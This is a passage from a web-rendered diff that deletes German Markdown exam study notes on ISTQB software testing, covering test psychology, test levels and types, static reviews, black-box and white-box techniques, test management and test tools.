➡️ Unterstützt durch **Testüberwachung, Metriken & Dokumentation**
|
||||
|
||||
---
|
||||
|
||||
### 1.7 Psychologie des Testens
|
||||
|
||||
- Zielkonflikt Entwickler vs. Tester:
|
||||
- Entwickler: „Software funktioniert!“
|
||||
- Tester: „Software hat Schwächen!“
|
||||
|
||||
🧠 Gute Zusammenarbeit & Kommunikation sind entscheidend:
|
||||
|
||||
- **Objektivität, Kritikfähigkeit, keine Schuldzuweisungen**
|
||||
|
||||
---
|
||||
|
||||
## ✅ KLAUSURRELEVANTE MERKSÄTZE
|
||||
|
||||
|Thema|Merksatz|
|
||||
|---|---|
|
||||
|Testzweck|Fehler _finden_, nicht beseitigen|
|
||||
|Prinzipien|7 Prinzipien **verstehen & benennen können**|
|
||||
|Test vs. Debugging|Zwei **getrennte Prozesse**|
|
||||
|Testprozesse|Test hat **strukturierte Phasen**|
|
||||
|Testpsychologie|**Konstruktives Konfliktmanagement** notwendig|
|
||||
@@ -1,83 +0,0 @@
|
||||
## 📘 KAPITEL 2: TESTEN IM SOFTWARELEBENSZYKLUS
|
||||
|
||||
---
|
||||
|
||||
### 2.1 Softwareentwicklungsmodelle
|
||||
|
||||
**Testen muss in den gesamten Entwicklungsprozess integriert sein!**
|
||||
|
||||
#### a) Sequenzielle Modelle (klassisch, Wasserfall, V-Modell)
|
||||
|
||||
- **Vorteil**: frühzeitige Planung, klare Phasen
|
||||
- **Nachteil**: späte Fehlererkennung, wenig flexibel
|
||||
|
||||
#### b) Iterative/inkrementelle Modelle (z. B. Agile)
|
||||
|
||||
- **Testen** = integraler Bestandteil jeder Iteration
|
||||
- Kontinuierliches Feedback, frühe Tests
|
||||
- Flexibler, aber aufwändiger
|
||||
|
||||
---
|
||||
|
||||
### 2.2 Teststufen (💡 Prüfungsrelevant)
|
||||
|
||||
|Teststufe|Fokus|Testbasis|Ziel|
|
||||
|---|---|---|---|
|
||||
|**Komponententest**|Einzelprogramme/Funktionen|Source Code, Design Specs|Fehler in Modulen erkennen|
|
||||
|**Integrationstest**|Zusammenspiel von Komponenten|Schnittstellenspezifikation|Fehler in Modulen & Interfaces|
|
||||
|**Systemtest**|Gesamtsystem|Anforderungen|Anforderungen erfüllt?|
|
||||
|**Abnahmetest**|Validierung mit Nutzer|Businessanforderungen|Auslieferungsreife prüfen|
|
||||
|
||||
🔄 **Statische Tests** (Reviews) ergänzen die Teststufen
|
||||
|
||||
---
|
||||
|
||||
### 2.3 Testarten (Was wird getestet?)
|
||||
|
||||
#### Funktionale Tests
|
||||
|
||||
- Verhalten & Funktionen
|
||||
- z. B. Geschäftslogik, Benutzerinteraktion
|
||||
|
||||
#### Nicht-funktionale Tests
|
||||
|
||||
- **Leistung**, **Benutzbarkeit**, **Zuverlässigkeit**, **Sicherheit**
|
||||
- Beispiel: Lasttests, Sicherheitstests
|
||||
|
||||
#### Strukturbezogene Tests
|
||||
|
||||
- Interne Struktur (z. B. Codeabdeckung, Verzweigungspfad)
|
||||
|
||||
#### Änderungsbezogene Tests
|
||||
|
||||
- **Re-Tests**: Prüfen behobener Fehler
|
||||
- **Regressionstests**: Prüfen unbeabsichtigter Nebeneffekte
|
||||
|
||||
---
|
||||
|
||||
### 2.4 Wartungstest
|
||||
|
||||
- Tests im Produktivsystem nach Änderungen (Fehlerbehebung, Anpassung)
|
||||
- Besonders wichtig:
|
||||
- **Regressionstest**
|
||||
- **Impact-Analyse**
|
||||
- Testdaten und Testumgebung **aktuell halten**
|
||||
|
||||
---
|
||||
|
||||
### 2.5 Teststufen & Testarten kombinieren
|
||||
|
||||
- Beispiel: Im **Systemtest** können **funktionale Tests** UND **nicht-funktionale Tests** durchgeführt werden.
|
||||
- Jeder Teststufe können verschiedene **Testziele** zugeordnet werden.
|
||||
|
||||
---
|
||||
|
||||
## ✅ KLAUSURRELEVANTE MERKPUNKTE
|
||||
|
||||
|Thema|Prüfungswissen|
|
||||
|---|---|
|
||||
|V-Modell|Testaktivitäten sind klar definiert & gekoppelt mit Entwicklungsphasen|
|
||||
|Teststufen|**Komponente → Integration → System → Abnahme** (Reihenfolge merken!)|
|
||||
|Testarten|Funktional, Nicht-funktional, Struktur-, Änderungsbezogen|
|
||||
|Wartungstest|Regression und Impact-Analyse notwendig|
|
||||
|Agile Modelle|**Test = Teil jeder Iteration**|
|
||||
@@ -1,88 +0,0 @@
|
||||
## 📘 KAPITEL 3: STATISCHES TESTEN
|
||||
|
||||
---
|
||||
|
||||
### 3.1 Was ist statisches Testen?
|
||||
|
||||
- **Statisches Testen** = Analyse **ohne Programmausführung**
|
||||
- Ziel: **Frühzeitiges Erkennen** von Fehlern und Schwächen
|
||||
- Ergänzt dynamisches Testen (mit Programmausführung)
|
||||
|
||||
**Beispiele:**
|
||||
|
||||
- Dokumentation, Code, Testfälle, Anforderungen prüfen
|
||||
|
||||
---
|
||||
|
||||
### 3.2 Arten statischer Tests
|
||||
|
||||
|Art|Merkmale|
|
||||
|---|---|
|
||||
|**Statische Analyse**|Automatisierte Tools analysieren Code-Struktur|
|
||||
|**Reviews (manuell)**|Menschen analysieren Dokumente & Artefakte|
|
||||
|
||||
---
|
||||
|
||||
### 3.3 Statische Analyse durch Tools
|
||||
|
||||
#### Ziele:
|
||||
|
||||
- Automatisierte Prüfung von Quellcode
|
||||
- **Vermeidung technischer Schulden**
|
||||
|
||||
#### Erkennbar durch Tools:
|
||||
|
||||
- **Syntaxfehler**
|
||||
- **Nicht initialisierte Variablen**
|
||||
- **Dead Code / nicht erreichbarer Code**
|
||||
- **Verletzungen von Codierstandards**
|
||||
- **Sicherheitslücken (z. B. Buffer Overflow)**
|
||||
|
||||
➡️ **Ergänzung, kein Ersatz für Reviews!**
|
||||
|
||||
---
|
||||
|
||||
### 3.4 Reviewarten (💡 Prüfungsrelevant)
|
||||
|
||||
|Reviewtyp|Beschreibung & Merkmale|
|
||||
|---|---|
|
||||
|**Informell**|z. B. Peer Review, keine Dokumentation|
|
||||
|**Walkthrough**|Autor führt Gruppe durch Dokument|
|
||||
|**Technisches Review**|Fokus auf Inhalte, nicht auf Format|
|
||||
|**Inspektion**|Strukturiert, mit Rollen, Protokollierung, Prüfprotokollen|
|
||||
|
||||
➡️ **Inspektion ist die formalste & effektivste Methode.**
|
||||
|
||||
---
|
||||
|
||||
### 3.5 Rollen in einem Review
|
||||
|
||||
|Rolle|Aufgabe|
|
||||
|---|---|
|
||||
|**Autor**|Ersteller des Prüflings|
|
||||
|**Moderator**|Leitung & Organisation|
|
||||
|**Prüfer**|Suchen nach Defekten|
|
||||
|**Protokollant**|Dokumentiert Ergebnisse|
|
||||
|**Manager**|Review-Rahmenbedingungen schaffen|
|
||||
|
||||
---
|
||||
|
||||
### 3.6 Reviewprozess (z. B. Inspektion)
|
||||
|
||||
1. **Planung** (Teilnehmer, Artefakt, Reviewziel)
|
||||
2. **Kick-off** (Einführung, Zielklärung)
|
||||
3. **Einzelprüfung** (Teilnehmer sichten Artefakt individuell)
|
||||
4. **Review-Meeting** (gemeinsame Sichtung, Diskussion)
|
||||
5. **Nachbearbeitung** (Fehlerbehebung, Follow-up)
|
||||
|
||||
---
|
||||
|
||||
## ✅ KLAUSURRELEVANTE MERKSÄTZE
|
||||
|
||||
|Thema|Merksatz|
|
||||
|---|---|
|
||||
|Statisches Testen|Testen ohne Ausführen des Programms|
|
||||
|Reviewtypen|**Inspektion** = formal, **Walkthrough** = moderiert, informell|
|
||||
|Toolbasierte Analyse|Ergänzung zu manuellen Reviews, keine Ablösung|
|
||||
|Reviewrollen|Moderator ≠ Autor, Protokollant dokumentiert|
|
||||
|Nutzen|Frühes Feedback spart spätere Kosten|
|
||||
@@ -1,94 +0,0 @@
|
||||
## 📘 KAPITEL 4.1: TESTTECHNIKEN – GRUNDLAGEN
|
||||
|
||||
---
|
||||
|
||||
### 4.1 Einleitung: Warum Testverfahren?
|
||||
|
||||
- Systematisches Vorgehen → bessere **Testabdeckung**
|
||||
- Unterstützung bei der Erstellung **guter Testfälle**
|
||||
- Ziel: Fehler früh entdecken & reproduzierbar testen
|
||||
|
||||
---
|
||||
|
||||
## 🧪 HAUPTKATEGORIEN VON TESTVERFAHREN
|
||||
|
||||
|Kategorie|Merkmale & Grundlage|
|
||||
|---|---|
|
||||
|**Black-Box**|Anforderungen / Spezifikation|
|
||||
|**White-Box**|Programmstruktur / Code|
|
||||
|**Erfahrungsbasiert**|Intuition, frühere Fehler, Exploratives Testen|
|
||||
|
||||
---
|
||||
|
||||
### 🔲 1. BLACK-BOX-VERFAHREN (💡 Prüfungsrelevant)
|
||||
|
||||
Nutzen **Eingabe-Ausgabe-Beziehung**, ohne Quellcode zu betrachten.
|
||||
|
||||
#### a) Äquivalenzklassenbildung
|
||||
|
||||
- Eingaben in gültige/ungültige **Klassen** einteilen
|
||||
- **Aus jeder Klasse → 1 Testfall**
|
||||
|
||||
#### b) Grenzwertanalyse
|
||||
|
||||
- Grenzwerte sind **fehleranfällig**
|
||||
- Testfälle **am Rand** der Äquivalenzklassen
|
||||
|
||||
#### c) Entscheidungstabellen
|
||||
|
||||
- Repräsentieren **Regeln & Bedingungen**
|
||||
- Kombinationen aus Bedingungen → Aktionen
|
||||
|
||||
#### d) Zustandsbasierter Test
|
||||
|
||||
- Bei **zustandsbehafteten Systemen** (z. B. Automaten)
|
||||
- Zustände, Übergänge, Events → modellieren & testen
|
||||
|
||||
#### e) Use Case Test
|
||||
|
||||
- **Szenarien aus Benutzersicht** abdecken
|
||||
- Ziel: reale Nutzungspfade testen
|
||||
|
||||
---
|
||||
|
||||
### 🔳 2. WHITE-BOX-VERFAHREN
|
||||
|
||||
Berücksichtigen **interne Struktur** des Systems/Programms
|
||||
|
||||
#### a) Anweisungsüberdeckung
|
||||
- Jede Anweisung im Code muss mindestens **einmal ausgeführt** werden
|
||||
|
||||
#### b) Zweigüberdeckung
|
||||
|
||||
- Jeder Entscheidungspunkt (z. B. `if`, `else`) → **jede Richtung** wird getestet
|
||||
|
||||
➡️ Für Entwicklernahe Tests (z. B. Komponententest)
|
||||
|
||||
---
|
||||
|
||||
### 💡 3. ERFAHRUNGSBASIERTE VERFAHREN
|
||||
|
||||
- Beruhen auf **Intuition, Erfahrung, Bauchgefühl**
|
||||
- Beispiele:
|
||||
- **Fehlerbasiertes Testen**
|
||||
- **Checklisten**
|
||||
- **Exploratives Testen**
|
||||
|
||||
Einsatz besonders:
|
||||
|
||||
- wenn wenig Dokumentation vorhanden ist
|
||||
- bei Timeboxing (agile Projekte)
|
||||
- als Ergänzung zu strukturierten Verfahren
|
||||
|
||||
---
|
||||
|
||||
## ✅ KLAUSURRELEVANTE MERKPUNKTE
|
||||
|
||||
|Thema|Merksatz|
|
||||
|---|---|
|
||||
|Black-Box|Tests basieren auf **Spezifikationen**, nicht auf Code|
|
||||
|White-Box|Ziel: **Codepfade** und **Verzweigungen** abdecken|
|
||||
|Äquivalenzklassen|Jede Klasse mit **einem repräsentativen Testfall**|
|
||||
|Grenzwertanalyse|Fehler liegen oft **an den Rändern**|
|
||||
|Entscheidungs- & Zustandsbasierte Tests|gut bei komplexem Verhalten & Bedingungen|
|
||||
|Erfahrungsbasiert|Ergänzend, flexibel, intuitiv, explorativ|
|
||||
@@ -1,128 +0,0 @@
|
||||
## 📘 KAPITEL 4.2: BLACK-BOX-TESTVERFAHREN (DETAIL)
|
||||
|
||||
---
|
||||
|
||||
### 🎯 Ziel
|
||||
|
||||
- Testfälle auf Basis der **Anforderungen/Spezifikation** ableiten
|
||||
- Fokus: **funktionales Verhalten** (ohne Quellcode)
|
||||
|
||||
---
|
||||
|
||||
## 1. ✅ ÄQUIVALENZKLASSEN-BILDUNG
|
||||
|
||||
### Ziel:
|
||||
|
||||
- Eingaberaum in **repräsentative Klassen** aufteilen (gültig + ungültig)
|
||||
|
||||
### Vorgehen:
|
||||
|
||||
1. Klassen identifizieren (z. B. Wertebereiche)
|
||||
2. Gültige & ungültige Klassen bilden
|
||||
3. Pro Klasse → 1 Repräsentant
|
||||
|
||||
**Beispiel: Eingabe 1–10**
|
||||
- Gültig: 1–10 → z. B. Testwert 5
|
||||
- Ungültig: <1, >10 → z. B. Testwert 0 und 11
|
||||
|
||||
---
|
||||
|
||||
## 2. ⚠️ GRENZWERTANALYSE
|
||||
|
||||
### Ziel:
|
||||
|
||||
- **Fehler an Grenzen** von Wertebereichen erkennen
|
||||
|
||||
### Vorgehen:
|
||||
|
||||
- Testfälle an & um die Grenze: `Grenze - 1`, `Grenze`, `Grenze + 1`
|
||||
|
||||
**Beispiel: Bereich 1–10**
|
||||
|
||||
- Testfälle: 0, 1, 2 | 9, 10, 11
|
||||
|
||||
➡️ Ergänzt Äquivalenzklassen
|
||||
|
||||
---
|
||||
|
||||
## 3. 🧾 ENTSCHEIDUNGSTABELLEN
|
||||
|
||||
### Ziel:
|
||||
|
||||
- **Regelbasierte Entscheidungen** systematisch testen
|
||||
|
||||
### Bestandteile:
|
||||
|
||||
- Bedingungen (z. B. "Kunde zahlt bar?")
|
||||
- Aktionen (z. B. "Rabatt gewähren")
|
||||
- Tabelle listet alle möglichen **Kombinationen**
|
||||
|
||||
### Vorteile:
|
||||
|
||||
- Gute Testabdeckung bei **Kombinatorik**
|
||||
- Auch für Geschäftsregeln & Konfigurationen geeignet
|
||||
|
||||
---
|
||||
|
||||
## 4. 🔄 ZUSTANDSÜBERGANGSTEST
|
||||
|
||||
### Ziel:
|
||||
|
||||
- Testen von Systemen mit **internen Zuständen**
|
||||
|
||||
### Elemente:
|
||||
|
||||
- **Zustände** (z. B. „angemeldet“, „abgemeldet“)
|
||||
- **Ereignisse/Übergänge** (z. B. „Login“, „Logout“)
|
||||
- **Aktionen** (z. B. „Zugriff erlaubt“)
|
||||
|
||||
### Arten von Tests:
|
||||
|
||||
- Alle Übergänge
|
||||
- Alle Zustände
|
||||
- Ungültige Übergänge
|
||||
|
||||
➡️ Modellierung über **Zustandsdiagramme** sinnvoll
|
||||
|
||||
---
|
||||
|
||||
## 5. 👤 USE CASE TEST
|
||||
|
||||
### Ziel:
|
||||
|
||||
- **Benutzerverhalten / Interaktionen** mit dem System testen
|
||||
|
||||
### Merkmale:
|
||||
|
||||
- Abbildung typischer **Szenarien**
|
||||
- Fokus auf **End-to-End-Abläufe**
|
||||
- Kann auch **nicht-funktionale Aspekte** einbeziehen
|
||||
|
||||
### Beispiele:
|
||||
|
||||
- "Benutzer meldet sich an"
|
||||
- "Benutzer gibt Bestellung auf"
|
||||
|
||||
---
|
||||
|
||||
## ✅ ZUSAMMENFASSUNG DER BLACK-BOX-VERFAHREN
|
||||
|
||||
|Verfahren|Fokus|Typische Anwendung|
|
||||
|---|---|---|
|
||||
|Äquivalenzklassen|Eingaberaum abdecken|Wertebereiche, Formate|
|
||||
|Grenzwertanalyse|Fehler an Bereichsgrenzen|Zahlen, Datumswerte|
|
||||
|Entscheidungstabellen|Regeln & Kombinationen prüfen|Rabattlogik, Konditionen|
|
||||
|Zustandsübergänge|Zustandssysteme abbilden|Automaten, Sitzungen|
|
||||
|Use Cases|Nutzerverhalten simulieren|Geschäftsprozesse, UI|
|
||||
|
||||
---
|
||||
|
||||
## 📝 KLAUSURRELEVANTE MERKPUNKTE
|
||||
|
||||
|Thema|Merksatz|
|
||||
|---|---|
|
||||
|Äquivalenzklassen|Pro Klasse genau **ein Testfall**|
|
||||
|Grenzwertanalyse|Teste **an, vor und nach** der Grenze|
|
||||
|Entscheidungstabellen|**Alle Regelkombinationen** prüfen|
|
||||
|Zustandsbasierte Tests|Übergänge & Reaktionen prüfen, auch **ungültige**|
|
||||
|Use Case Tests|Nutzer-Szenarien, oft End-to-End|
|
||||
@@ -1,104 +0,0 @@
|
||||
## 📘 KAPITEL 5: TESTMANAGEMENT
|
||||
|
||||
---
|
||||
|
||||
### 5.1 Testorganisation
|
||||
|
||||
* Testverantwortung kann in **Entwicklung integriert** oder **getrennt organisiert** sein.
|
||||
* Rollen können je nach Projektform variieren:
|
||||
|
||||
* **Testmanager**
|
||||
* **Tester**
|
||||
* **Testanalyst / Technical Test Analyst**
|
||||
* **Testautomatisierer**
|
||||
|
||||
---
|
||||
|
||||
### 5.2 Testplanung und -steuerung
|
||||
|
||||
#### Testplanung
|
||||
|
||||
* Definition von:
|
||||
|
||||
* **Zielen**
|
||||
* **Strategie**
|
||||
* **Umfang**
|
||||
* **Aufwand & Ressourcen**
|
||||
* **Zeitplan**
|
||||
|
||||
#### Teststeuerung
|
||||
|
||||
* **Vergleich** von Ist- und Sollwerten
|
||||
* **Anpassung** des Testvorgehens bei Abweichungen
|
||||
|
||||
---
|
||||
|
||||
### 5.3 Testfortschritt und -abschluss
|
||||
|
||||
#### Testfortschrittskennzahlen (Metriken)
|
||||
|
||||
* Anzahl durchgeführter Tests
|
||||
* Anzahl gefundener Fehler
|
||||
* Testabdeckung
|
||||
* Aufwand vs. Fortschritt
|
||||
|
||||
#### Abschlussaktivitäten:
|
||||
|
||||
* Fehlerstatus prüfen
|
||||
* Lessons Learned
|
||||
* Testabschlussbericht erstellen
|
||||
|
||||
---
|
||||
|
||||
### 5.4 Konfigurationsmanagement
|
||||
|
||||
* Sicherstellen, dass:
|
||||
|
||||
* **Testobjekte eindeutig versioniert** sind
|
||||
* **Änderungen nachvollziehbar** bleiben
|
||||
* Tools zur Verwaltung von:
|
||||
|
||||
* Anforderungen
|
||||
* Testfällen
|
||||
* Codeversionen
|
||||
|
||||
---
|
||||
|
||||
### 5.5 Risikomanagement im Test
|
||||
|
||||
| Begriff | Bedeutung |
|
||||
| ------------------------ | ------------------------------------------------------------------ |
|
||||
| **Risiko** | Möglichkeit eines negativen Ereignisses |
|
||||
| **Risikobasierter Test** | Priorisierung nach Schadenspotenzial & Eintrittswahrscheinlichkeit |
|
||||
|
||||
#### Risikoarten:
|
||||
|
||||
* **Produktrisiko**: betrifft Software (z. B. Datenverlust)
|
||||
* **Projektrisiko**: betrifft Projekt (z. B. Terminüberschreitung)
|
||||
|
||||
---
|
||||
|
||||
### 5.6 Fehler- und Abweichungsmanagement
|
||||
|
||||
* **Fehlermanagementprozess**:
|
||||
|
||||
1. Fehler identifizieren
|
||||
2. Fehler dokumentieren (z. B. Reproduktionsschritte)
|
||||
3. Status verfolgen (neu, in Bearbeitung, gelöst …)
|
||||
4. Abschluss prüfen
|
||||
|
||||
* Abweichung ≠ immer Fehler (z. B. unvollständige Anforderungen)
|
||||
|
||||
---
|
||||
|
||||
## ✅ KLAUSURRELEVANTE MERKSÄTZE
|
||||
|
||||
| Thema | Merksatz |
|
||||
| ------------------------ | ------------------------------------------------------ |
|
||||
| Testplanung | Definiert **Was, Wie, Wer, Wann** |
|
||||
| Teststeuerung | Vergleicht **Planung ↔ Realität**, passt an |
|
||||
| Fortschrittsmetriken | Basis für **objektive Steuerung** |
|
||||
| Konfigurationsmanagement | Kontrolliert Versionen & Änderungen |
|
||||
| Risikobasiertes Testen | Priorisiert **nach Schadenshöhe & Wahrscheinlichkeit** |
|
||||
| Fehlermanagement | Fehler dokumentieren & nachverfolgen bis Abschluss |
|
||||
|
||||
@@ -1,99 +0,0 @@
|
||||
## 📘 KAPITEL 6: TOOLUNTERSTÜTZUNG IM TESTPROZESS
|
||||
|
||||
---
|
||||
|
||||
### 6.1 Einsatzmöglichkeiten von Testwerkzeugen
|
||||
|
||||
#### Ziele:
|
||||
|
||||
- Effizienz steigern
|
||||
- Wiederholbarkeit sicherstellen
|
||||
- Fehler vermeiden
|
||||
|
||||
#### Typische Tool-Einsatzbereiche:
|
||||
|
||||
|Einsatzbereich|Beispiele für Werkzeuge|
|
||||
|---|---|
|
||||
|**Testmanagement**|Testplanung, Fortschrittsverfolgung|
|
||||
|**Anforderungsmanagement**|Rückverfolgbarkeit von Anforderungen|
|
||||
|**Statische Analyse**|Code-Analyse, Einhaltung von Codestandards|
|
||||
|**Testfallerstellung**|manuell oder generiert|
|
||||
|**Testdurchführung & Auswertung**|Automatisierte Tests, Logging, Reports|
|
||||
|**Defektmanagement**|Bug-Tracking, z. B. Jira, Bugzilla|
|
||||
|**Testdaten- & Umweltverwaltung**|Konsistente Testdaten, Containerisierung|
|
||||
|
||||
---
|
||||
|
||||
### 6.2 Vorteile und Risiken von Tools
|
||||
|
||||
#### ✅ Vorteile:
|
||||
|
||||
- Automatisierung → **Zeitersparnis**
|
||||
- **Konsistenz & Reproduzierbarkeit**
|
||||
- **Skalierbarkeit** bei Regressionstests
|
||||
|
||||
#### ⚠️ Risiken:
|
||||
|
||||
- **Einführungsaufwand** hoch
|
||||
- **Wartung & Pflege** der Tools notwendig
|
||||
- Gefahr von **Tool-Gläubigkeit** („Tool löst alle Probleme“)
|
||||
- **Falsche Anwendung** kann schaden
|
||||
|
||||
---
|
||||
|
||||
### 6.3 Toolklassifizierung nach ISTQB
|
||||
|
||||
|Tooltyp|Beschreibung|
|
||||
|---|---|
|
||||
|**Statische Analyse-Tools**|z. B. Lint, SonarQube|
|
||||
|**Testdesign-Tools**|z. B. Testdaten-Generatoren|
|
||||
|**Testautomatisierung**|z. B. Selenium, JUnit|
|
||||
|**Defektmanagement-Tools**|z. B. Bugzilla, Jira|
|
||||
|**Performance-Testtools**|z. B. JMeter|
|
||||
|**Coverage-Tools**|z. B. Jacoco|
|
||||
|
||||
---
|
||||
|
||||
### 6.4 Auswahl & Einführung von Tools
|
||||
|
||||
#### Auswahlkriterien:
|
||||
|
||||
- Projekt- & Teamgröße
|
||||
- Integration in bestehende Infrastruktur
|
||||
- Schulungsbedarf
|
||||
- Support & Lizenzmodell
|
||||
|
||||
#### Einführungsprozess:
|
||||
|
||||
1. **Bedarf klären**
|
||||
2. **Tool evaluieren & auswählen**
|
||||
3. **Pilotphase**
|
||||
4. **Rollout**
|
||||
5. **Wartung & kontinuierliche Verbesserung**
|
||||
|
||||
---
|
||||
|
||||
### 6.5 Automatisierung sinnvoll einsetzen
|
||||
|
||||
#### Typische Einsatzszenarien:
|
||||
|
||||
- **Regressionstests**
|
||||
- **Build-Verifikation (CI/CD)**
|
||||
- **Performance-Messung**
|
||||
- **Datengetriebenes Testen**
|
||||
|
||||
➡️ **Automatisierung ≠ universell sinnvoll**
|
||||
|
||||
- Bei **explorativem Testen**, UX-Tests oder stark ändernden UIs → lieber manuell
|
||||
|
||||
---
|
||||
|
||||
## ✅ KLAUSURRELEVANTE MERKPUNKTE
|
||||
|
||||
|Thema|Merksatz|
|
||||
|---|---|
|
||||
|Toolnutzen|**Effizienz & Konsistenz**, aber kein Allheilmittel|
|
||||
|Risiken|**Falsche Erwartungen**, hoher Einführungsaufwand|
|
||||
|Toolauswahl|Nach **Projektkontext & Integration** wählen|
|
||||
|Automatisierung|Gut für **wiederholbare, stabile Tests**|
|
||||
|Defektmanagement|Erlaubt **systematische Fehlerverfolgung**|
|
||||
Reference in New Issue
Block a user